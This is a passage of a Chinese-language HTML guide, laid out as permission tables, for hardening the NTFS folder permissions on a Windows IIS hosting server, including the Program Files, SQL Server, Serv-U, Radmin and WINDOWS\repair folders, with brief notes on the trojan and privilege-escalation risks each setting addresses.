<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=3>
<DIV class=style7 align=center>Everyone这里只有读和运行权限</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\Application Data\Microsoft\Network\Downloader</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=6>
<DIV align=center>无 </DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;继承于上一级文件夹&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD>
<DIV align=right>Users</DIV></TD>
<TD>创建文件/写入数据<BR>创建文件夹/附加数据<BR>写入属性<BR>写入扩展属性<BR>读取权限 </TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>只有该文件夹</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD colSpan=2 rowSpan=3>&nbsp;</TD>
<TD>
<DIV align=right>Users</DIV></TD>
<TD>创建文件/写入数据<BR>创建文件夹/附加数据<BR>写入属性<BR>写入扩展属性</TD></TR>
<TR>
<TD></TD>
<TD>只有该子文件夹和文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\DRM</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD colSpan=2 rowSpan=15>
<DIV align=center>这里需要把GUEST用户组和IIS访问用户组全部禁止<BR>Everyone的权限比较特殊，默认安装后已经带了<BR>主要是要把IIS访问的用户组加上所有权限都禁止</DIV></TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>Guests</DIV></TD>
<TD>拒绝所有</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>Guest</DIV></TD>
<TD>拒绝所有</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD rowSpan=3>
<DIV align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD>拒绝所有</TD></TR>
<TR>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Documents and Settings\All Users\Documents</FONT></STRONG></SPAN> (共享文档) 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD class=style7 width="21%">
<DIV align=right>IIS_WPG</DIV></TD>
<TD class=style7 width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD class=style7></TD>
<TD class=style7>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style7></TD>
<TD class=style7>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD rowSpan=3>
<DIV class=style2 align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD class=style2>列出文件夹/读取数据 ：拒绝</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD class=style2>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style2>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=3>
<DIV class=style7 align=center>IIS虚拟主机用户组禁止列目录，可有效防止FSO类木马<BR>如果安装了aspjepg和aspupload</DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\Common Files</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD class=style7 width="21%">
<DIV align=right>IIS_WPG</DIV></TD>
<TD class=style7 width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD class=style7></TD>
<TD class=style7>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style7></TD>
<TD class=style7>&lt;继承于上级目录&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD class=style2 rowSpan=3>
<DIV class=style2 align=right>Users</DIV></TD>
<TD class=style2>读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD class=style2>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style2>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=3>
<DIV class=style2 align=center>复合权限，为IIS提供快速安全的运行环境</DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\Common Files\Microsoft Shared\web server extensions</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\Microsoft SQL Server\MSSQL</FONT></STRONG></SPAN> (程序部分默认装在C：盘) 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=3>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>E:\Program Files\Microsoft SQL Server</FONT></STRONG></SPAN> (数据库部分装在E：盘的情况) 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>E:\Program Files\Microsoft SQL Server\MSSQL</FONT></STRONG></SPAN> (数据库部分装在E：盘的情况) 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=6>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\Internet Explorer\iexplore.exe</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=6>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\Outlook Express</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\PowerEasy5</FONT></STRONG></SPAN> (如果装了动易组件的话) 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\Radmin</FONT></STRONG></SPAN> (如果装了Radmin远程控制的话) 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无<BR><SPAN class=style7><FONT color=#0000ff>对应的c:\windows\system32里面有两个文件<BR>r_server.exe和AdmDll.dll<BR>要把Users读取运行权限去掉<BR>默认权限只要administrators和system全部权限</FONT></SPAN></DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\Serv-U</FONT></STRONG></SPAN> (如果装了Serv-U服务器的话) 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无<BR><FONT color=#0000ff><SPAN class=style7>这里常是提权入侵的一个比较大的漏洞点<BR>一定要按这个方法设置<BR>目录名字根据Serv-U版本也可能是</SPAN><BR></FONT><FONT color=#ff0000><SPAN class=style2>C:\Program Files\RhinoSoft.com\Serv-U</SPAN><BR></FONT></DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\Windows Media Player</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无<BR></DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\Windows NT\Accessories</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无<BR></DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\Program Files\WindowsUpdate</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无<BR></DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD class=style2 rowSpan=3>&nbsp;</TD>
<TD class=style2>&nbsp;</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD class=style2>&nbsp;</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style2>&nbsp;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=3>
<DIV class=style7 align=center></DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS\repair</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV class=style2 align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD class=style2 width="31%">列出文件夹/读取数据 ：拒绝</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD class=style2>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style2>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=8>
<DIV class=style7 align=center>虚拟主机用户访问组拒绝读取，有助于保护系统数据<BR>这里保护的是系统级数据<SPAN class=style2><FONT color=#ff0000>SAM</FONT></SPAN></DIV></TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
